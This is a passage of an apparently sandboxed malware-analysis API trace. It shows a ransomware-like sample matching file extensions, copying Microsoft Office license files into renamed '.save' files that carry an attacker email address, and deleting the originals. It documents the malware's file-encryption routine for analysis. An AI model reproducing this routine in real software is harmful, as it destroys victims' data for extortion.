74 [0181.748] lstrlenW (lpString=".doc") returned 4 [0181.748] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.748] lstrlenW (lpString=".docx") returned 5 [0181.748] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.748] lstrlenW (lpString=".pdf") returned 4 [0181.748] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.748] lstrlenW (lpString=".xls") returned 4 [0181.748] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.748] lstrlenW (lpString=".xlsx") returned 5 [0181.748] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.748] lstrlenW (lpString=".ppt") returned 4 [0181.749] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0181.749] lstrlenW (lpString=".zip") returned 4 [0181.749] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.749] lstrlenW (lpString=".rar") returned 4 [0181.749] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.749] lstrlenW (lpString=".bz2") returned 4 [0181.749] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.749] lstrlenW (lpString=".7z") returned 3 [0181.749] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0181.749] lstrlenW (lpString=".dbf") returned 4 [0181.749] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0181.749] lstrlenW (lpString=".1cd") returned 4 [0181.749] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0181.749] lstrlenW (lpString=".jpg") returned 4 [0181.749] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.750] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.750] lstrlenW (lpString="AccessR_Trial-ul-oob.xrm-ms") returned 27 [0181.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0181.751] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=11591) returned 1 [0181.751] CloseHandle (hObject=0x528) returned 1 [0181.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220 [0181.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0181.753] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.754] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.755] GetLastError () returned 0x0 [0181.755] ReadFile (in: hFile=0x528, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d47, lpOverlapped=0x0) returned 1 [0181.949] WriteFile (in: hFile=0x388, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0181.950] ReadFile (in: hFile=0x528, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.950] WriteFile (in: hFile=0x388, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x10a, lpOverlapped=0x0) returned 1 [0181.950] SetEndOfFile (hFile=0x388) returned 1 [0181.950] CloseHandle (hObject=0x388) returned 1 [0181.950] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.951] SetEndOfFile (hFile=0x528) returned 1 [0181.955] CloseHandle (hObject=0x528) returned 1 [0181.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 1 [0181.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0181.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0181.958] lstrlenW (lpString=".doc") returned 4 [0181.958] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.958] lstrlenW (lpString=".docx") returned 5 [0181.958] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.958] lstrlenW (lpString=".pdf") returned 4 [0181.958] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.958] lstrlenW (lpString=".xls") returned 4 [0181.958] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.959] lstrlenW (lpString=".xlsx") returned 5 [0181.959] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.959] lstrlenW (lpString=".ppt") returned 4 [0181.959] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0181.959] lstrlenW (lpString=".zip") returned 4 [0181.959] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.959] lstrlenW (lpString=".rar") returned 4 [0181.959] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.959] lstrlenW (lpString=".bz2") returned 4 [0181.959] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.959] lstrlenW (lpString=".7z") returned 3 [0181.959] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0181.959] lstrlenW (lpString=".dbf") returned 4 [0181.959] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0181.959] lstrlenW (lpString=".1cd") returned 4 [0181.959] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0181.960] lstrlenW (lpString=".jpg") returned 4 [0181.960] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0181.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0181.960] lstrlenW (lpString=".doc") returned 4 [0181.960] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.960] lstrlenW (lpString=".docx") returned 5 [0181.960] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.960] lstrlenW (lpString=".pdf") returned 4 [0181.960] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.960] lstrlenW (lpString=".xls") returned 4 [0181.960] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.960] lstrlenW (lpString=".xlsx") returned 5 [0181.960] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.960] lstrlenW (lpString=".ppt") returned 4 [0181.960] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0181.960] lstrlenW (lpString=".zip") returned 4 [0181.960] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.960] lstrlenW (lpString=".rar") returned 4 [0181.960] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.960] lstrlenW (lpString=".bz2") returned 4 [0181.961] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.961] lstrlenW (lpString=".7z") returned 3 [0181.961] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0181.961] lstrlenW (lpString=".dbf") returned 4 [0181.961] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0181.961] lstrlenW (lpString=".1cd") returned 4 [0181.961] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0181.961] lstrlenW (lpString=".jpg") returned 4 [0181.961] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.961] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.961] lstrlenW (lpString="AccessVL_MAK-ul-oob.xrm-ms") returned 26 [0181.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0181.963] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=11581) returned 1 [0181.963] CloseHandle (hObject=0x528) returned 1 [0181.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220 [0181.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0181.964] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.964] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.966] GetLastError () returned 0x0 [0181.966] ReadFile (in: hFile=0x528, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d3d, lpOverlapped=0x0) returned 1 [0181.969] WriteFile (in: hFile=0x388, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0181.971] ReadFile (in: hFile=0x528, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.971] WriteFile (in: hFile=0x388, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x108, lpOverlapped=0x0) returned 1 [0181.971] SetEndOfFile (hFile=0x388) returned 1 [0181.971] CloseHandle (hObject=0x388) returned 1 [0181.972] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.972] SetEndOfFile (hFile=0x528) returned 1 [0181.978] CloseHandle (hObject=0x528) returned 1 [0181.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 1 [0181.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0181.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0181.980] lstrlenW (lpString=".doc") returned 4 [0181.980] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.980] lstrlenW (lpString=".docx") returned 5 [0181.980] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.980] lstrlenW (lpString=".pdf") returned 4 [0181.980] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.981] lstrlenW (lpString=".xls") returned 4 [0181.981] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.981] lstrlenW (lpString=".xlsx") returned 5 [0181.981] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.981] lstrlenW (lpString=".ppt") returned 4 [0181.981] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0181.981] lstrlenW (lpString=".zip") returned 4 [0181.981] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.981] lstrlenW (lpString=".rar") returned 4 [0181.981] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.981] lstrlenW (lpString=".bz2") returned 4 [0181.981] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.981] lstrlenW (lpString=".7z") returned 3 [0181.981] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0181.981] lstrlenW (lpString=".dbf") returned 4 [0181.981] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0181.981] lstrlenW (lpString=".1cd") returned 4 [0181.981] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0181.981] lstrlenW (lpString=".jpg") returned 4 [0181.982] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0181.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0181.982] lstrlenW (lpString=".doc") returned 4 [0181.982] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.982] lstrlenW (lpString=".docx") returned 5 [0181.982] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.982] lstrlenW (lpString=".pdf") returned 4 [0181.982] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.982] lstrlenW (lpString=".xls") returned 4 [0181.982] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.982] lstrlenW (lpString=".xlsx") returned 5 [0181.982] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.982] lstrlenW (lpString=".ppt") returned 4 [0181.982] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0181.982] lstrlenW (lpString=".zip") returned 4 [0181.982] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.982] lstrlenW (lpString=".rar") returned 4 [0181.982] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.982] lstrlenW (lpString=".bz2") returned 4 [0181.982] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.982] lstrlenW (lpString=".7z") returned 3 [0181.983] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0181.983] lstrlenW (lpString=".dbf") returned 4 [0181.983] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0181.983] lstrlenW (lpString=".1cd") returned 4 [0181.983] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0181.983] lstrlenW (lpString=".jpg") returned 4 [0181.983] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.983] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.983] lstrlenW (lpString="AccessVL_MAK-ul-phn.xrm-ms") returned 26 [0181.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0182.119] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=19926) returned 1 [0182.119] CloseHandle (hObject=0x528) returned 1 [0182.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220 [0182.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.297] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.297] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0182.299] GetLastError () returned 0x0 [0182.299] ReadFile (in: hFile=0x388, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x4dd6, lpOverlapped=0x0) returned 1 [0182.301] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0182.303] ReadFile (in: hFile=0x388, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.303] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x108, lpOverlapped=0x0) returned 1 [0182.303] SetEndOfFile (hFile=0x540) returned 1 [0182.303] CloseHandle (hObject=0x540) returned 1 [0182.303] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.303] SetEndOfFile (hFile=0x388) returned 1 [0182.307] CloseHandle (hObject=0x388) returned 1 [0182.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 1 [0182.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0182.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0182.309] lstrlenW (lpString=".doc") returned 4 [0182.309] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.309] lstrlenW (lpString=".docx") returned 5 [0182.309] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.309] lstrlenW (lpString=".pdf") returned 4 [0182.309] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.309] lstrlenW (lpString=".xls") returned 4 [0182.309] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.309] lstrlenW (lpString=".xlsx") returned 5 [0182.309] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.309] lstrlenW (lpString=".ppt") returned 4 [0182.309] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0182.309] lstrlenW (lpString=".zip") returned 4 [0182.309] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.309] lstrlenW (lpString=".rar") returned 4 [0182.310] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.310] lstrlenW (lpString=".bz2") returned 4 [0182.310] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.310] lstrlenW (lpString=".7z") returned 3 [0182.310] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0182.310] lstrlenW (lpString=".dbf") returned 4 [0182.310] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0182.310] lstrlenW (lpString=".1cd") returned 4 [0182.310] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0182.310] lstrlenW (lpString=".jpg") returned 4 [0182.310] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.310] lstrlenW (lpString="C:\\Program Files\\Microsoft 